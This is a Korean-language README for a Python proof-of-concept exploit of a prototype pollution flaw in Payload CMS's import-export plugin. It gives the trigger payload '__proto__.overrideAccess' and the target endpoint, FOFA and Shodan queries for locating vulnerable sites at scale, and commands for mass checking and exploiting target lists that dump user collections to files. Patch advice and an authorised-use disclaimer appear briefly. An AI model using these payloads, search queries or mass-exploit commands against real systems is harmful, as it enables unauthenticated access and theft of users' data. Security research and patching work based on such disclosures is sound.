
CVE-2026-105844에 대한 Python PoC: Payload CMS import-export 플러그인의 인증되지 않은 프로토타입 오염(prototype pollution)을 탐지 및 악용하여 접근 제어를 우회하고 데이터를 유출합니다.
CVE-2026-105844 — Payload CMS + @payloadcms/plugin-import-export — CWE-1321 프로토타입 오염 → 접근 제어 우회 및 잠재적 RCE(애플리케이션 의존)에 대한 Python 3 PoC. CVSS 4.0 9.3 Critical.
| 필드 | 값 |
|---|---|
| PoCbit 페이지 | https://pocbit.org/pocs/cve-2026-105844 |
| GHSA | GHSA-qf28-8hc6-vwrp |
| 영향 범위 | Payload / 플러그인 ≥ 3.0.0 < 3.88.0, canary < 4.0.0-canary.27 |
| 수정 버전 | 3.88.0, 4.0.0-canary.27 |
| 엔드포인트 | POST /api/exports/export-preview (기본 exports slug) |
| 트리거 | fields: __proto__.overrideAccess (취약한 getSelect() 경유) |
Import/Export 플러그인이 활성화된 사이트만 영향을 받습니다.
Payload만으로는 충분하지 않습니다 — Import/Export 플러그인이 설치되어 있어야 합니다. 규모 파악에는 tier 1을, 범위를 좁힐 때는 tier 2를 사용한 뒤 python poc.py --mode check로 확인하세요.
Tier 1 — Payload CMS (광범위)
body="Login - Payload" || body="Payload Admin" || title="Payload"
body="@layer payload-default" || body="payload__modal"
body="/admin/login" && (body="Payload" || title="Payload")
header="payload-token" || header="Set-Cookie: payload-token"
계층 2 — 가져오기/내보내기 플러그인 힌트 (더 좁은 범위)
body="plugin-import-export" || body="@payloadcms/plugin-import-export"
body="export-preview" && body="Payload"
body="/admin/collections/exports" || body="collections/exports"
body="createCollectionExport" || body="ImportExportProvider"
계층 3 — API 표면 (수동 / poc 확인)
FOFA는 POST 본문을 거의 인덱싱하지 않으므로, 계층 1–2 이후 다음을 확인하십시오:
body="/api/" && body="Payload"
그런 다음 각 호스트에서: POST /api/exports/export-preview (또는 사용자 지정한 경우 --exports-slug).
Shodan (동일한 로직): http.html:"Login - Payload", http.html:"plugin-import-export".
오탐: 패치된 ≥ 3.88.0, 플러그인 비활성화됨, 또는 사용자 지정 내보내기 컬렉션 슬러그 → 항상 **check**를 실행하세요.
fields이 비어 있지 않을 때 handlePreview가 getSelect(fields)을 호출합니다.getSelect(3.88.0 이전)은 일반 객체에서 점 경로(dot-path)를 순회하며, 세그먼트 **__proto__**가 **Object.prototype**에 연결됩니다.__proto__.overrideAccess**이 **Object.prototype.overrideAccess = true**를 설정합니다.{}을 액세스 옵션과 병합하는 Payload 작업이 **overrideAccess: true**를 상속받아 → 인증되지 않은 REST API 읽기/쓰기가 가능해집니다.패치된 코드는 __proto__, constructor, prototype을 거부하고 **Invalid field path.**을 반환합니다
cd CVE-2026-105844
pip install -r requirements.txt
python poc.py -u https://cms.example --mode check
python poc.py -u https://cms.example --mode check --aggressive
python poc.py -u https://cms.example --mode exploit --collection users
python poc.py --list targets.example.txt --mode check -j 20
python poc.py --list hits.txt --mode exploit -j 10
확인: 엔드포인트가 존재하고 오염 경로가 차단되지 않음 (Invalid field path 없음). --aggressive: 오염 전후의 GET /api/{collection} 문서 수를 비교합니다.
익스플로잇: 오염 → GET /api/users (또는 선택한 컬렉션) → JSON docs 유출; 대체 수단으로 export-preview 본문을 확인합니다.
옵션: --exports-slug, --collection (반복 가능), --pollution-path.
출력: hits.txt, exploited.txt, cve_2026_105844_*.jsonl.
Payload 3.88.0+ (또는 4.0.0-canary.27+)로 업그레이드하세요. 그 전까지는 import-export 플러그인을 비활성화하거나 엣지에서 **/api/*/export-preview**을 차단하세요.
승인된 테스트에만 사용하세요.
CVE-2026-105844 — Payload CMS @payloadcms/plugin-import-export <3.88.0 unauth prototype pollution (CWE-1321, CVSS 4.0 9.3). PoCbit PoC: POST /api/exports/export-preview fields __proto__.overrideAccess → ACL bypass / data leak. check/exploit/mass. Fix 3.88.0+. https://pocbit.org/pocs/cve-2026-105844